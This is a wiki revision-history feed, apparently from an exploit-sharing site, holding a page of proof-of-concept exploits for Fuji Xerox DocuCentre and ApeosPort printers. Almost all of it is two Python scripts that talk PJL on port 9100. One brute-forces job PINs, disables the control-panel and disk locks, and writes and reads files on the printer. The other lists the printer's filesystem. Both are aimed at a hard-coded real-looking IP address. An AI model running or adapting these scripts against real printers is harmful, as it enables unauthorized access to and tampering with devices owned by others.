<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=FUJI_XEROX_DocuCentre-V_3065_Printer_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>FUJI XEROX DocuCentre-V 3065 Printer 遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=FUJI_XEROX_DocuCentre-V_3065_Printer_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=FUJI_XEROX_DocuCentre-V_3065_Printer_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T16:23:06Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=FUJI_XEROX_DocuCentre-V_3065_Printer_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=682&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution # Date: 2018-09-05 # Exploit Author: vr_system # Vendor Homepage: https://www.fu...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=FUJI_XEROX_DocuCentre-V_3065_Printer_%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=682&amp;oldid=prev"/>
		<updated>2021-03-27T02:48:07Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution # Date: 2018-09-05 # Exploit Author: vr_system # Vendor Homepage: https://www.fu...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution&lt;br /&gt;
# Date: 2018-09-05&lt;br /&gt;
# Exploit Author: vr_system&lt;br /&gt;
# Vendor Homepage: https://www.fujixerox.com.cn/&lt;br /&gt;
# Software Link: https://www.fujixerox.com.cn/&lt;br /&gt;
# Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V&lt;br /&gt;
# Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070&lt;br /&gt;
# CVE : N/A&lt;br /&gt;
 &lt;br /&gt;
#  POC：Ability to write files to the printer&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
# -*- coding: UTF-8 -*-&lt;br /&gt;
import socket&lt;br /&gt;
import time&lt;br /&gt;
PJL_START = &amp;quot;\033%-12345X@PJL &amp;quot;&lt;br /&gt;
PJL_FINISH = &amp;quot;\033%-12345X\r\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
def Buildsocket(ip,port=9100):&lt;br /&gt;
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) &lt;br /&gt;
    sock.settimeout(5)&lt;br /&gt;
    try:&lt;br /&gt;
        sock.connect((ip, port))&lt;br /&gt;
    except:&lt;br /&gt;
        print &amp;quot;[!*]-ip-%s-can't connect--&amp;quot; % ip&lt;br /&gt;
        return 'error'&lt;br /&gt;
    for i in range(500):&lt;br /&gt;
        print&amp;quot;bypass pin:{0}&amp;quot;.format(i)&lt;br /&gt;
        PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;JOB PASSWORD={0}\r\n&amp;quot;&amp;quot;&amp;quot;.format(i)&lt;br /&gt;
        DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
        sock.send(DEVICEID) &lt;br /&gt;
        PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;DEFAULT PASSWORD=0\r\n&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
        DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
        sock.send(DEVICEID) &lt;br /&gt;
 &lt;br /&gt;
    PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;DEFAULT CPLOCK=OFF\r\n&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
    sock.send(DEVICEID) &lt;br /&gt;
    PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;DEFAULT DISKLOCK=OFF\r\n&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
    sock.send(DEVICEID) &lt;br /&gt;
 &lt;br /&gt;
    PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME=&amp;quot;0:/test4&amp;quot;\r\n&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
    sock.send(DEVICEID) &lt;br /&gt;
    try:&lt;br /&gt;
        device = sock.recv(1024)&lt;br /&gt;
    except:pass&lt;br /&gt;
    PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;FSUPLOAD NAME=&amp;quot;0:/test4&amp;quot; OFFSET=0 SIZE=4\r\n&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
    sock.send(DEVICEID) &lt;br /&gt;
    try:&lt;br /&gt;
        device = sock.recv(1024)&lt;br /&gt;
    except:pass&lt;br /&gt;
    finally:&lt;br /&gt;
        sock.close()&lt;br /&gt;
    print &amp;quot;OK&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    ip = &amp;quot;118.42.125.192&amp;quot;&lt;br /&gt;
    Buildsocket(ip, port=9100)&lt;br /&gt;
 &lt;br /&gt;
# POC：Ability to view files in the printer&lt;br /&gt;
##!/usr/bin/env python&lt;br /&gt;
# -*- coding: UTF-8 -*-&lt;br /&gt;
import socket&lt;br /&gt;
PJL_START = &amp;quot;\033%-12345X@PJL &amp;quot;&lt;br /&gt;
PJL_FINISH = &amp;quot;\033%-12345X\r\n&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
def Buildsocket(ip, port=9100):&lt;br /&gt;
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)&lt;br /&gt;
    sock.settimeout(5)&lt;br /&gt;
    try:&lt;br /&gt;
        sock.connect((ip, port))&lt;br /&gt;
    except:&lt;br /&gt;
        print &amp;quot;[!*]-ip-%s-can't connect--&amp;quot; % ip&lt;br /&gt;
        return 'error'&lt;br /&gt;
    PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;FSDIRLIST NAME=&amp;quot;0:/&amp;quot; ENTRY=1 COUNT=65535&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH &lt;br /&gt;
    sock.send(DEVICEID) &lt;br /&gt;
    try:&lt;br /&gt;
        device = sock.recv(1024)&lt;br /&gt;
    except:pass&lt;br /&gt;
    PJL_INFO_ID = &amp;quot;&amp;quot;&amp;quot;FSDIRLIST NAME=&amp;quot;0:/&amp;quot; ENTRY=1&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH&lt;br /&gt;
    sock.send(DEVICEID)  #&lt;br /&gt;
    try:&lt;br /&gt;
        device = sock.recv(1024)&lt;br /&gt;
    except:&lt;br /&gt;
        return 'No'&lt;br /&gt;
    print &amp;quot;[!*]-ip-%s-is-ok\r\ndeviceidis-%s&amp;quot; % (str(ip), device)&lt;br /&gt;
    sock.close()&lt;br /&gt;
    return 'OK'&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    Buildsocket(&amp;quot;118.42.125.192&amp;quot;, port=9100) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>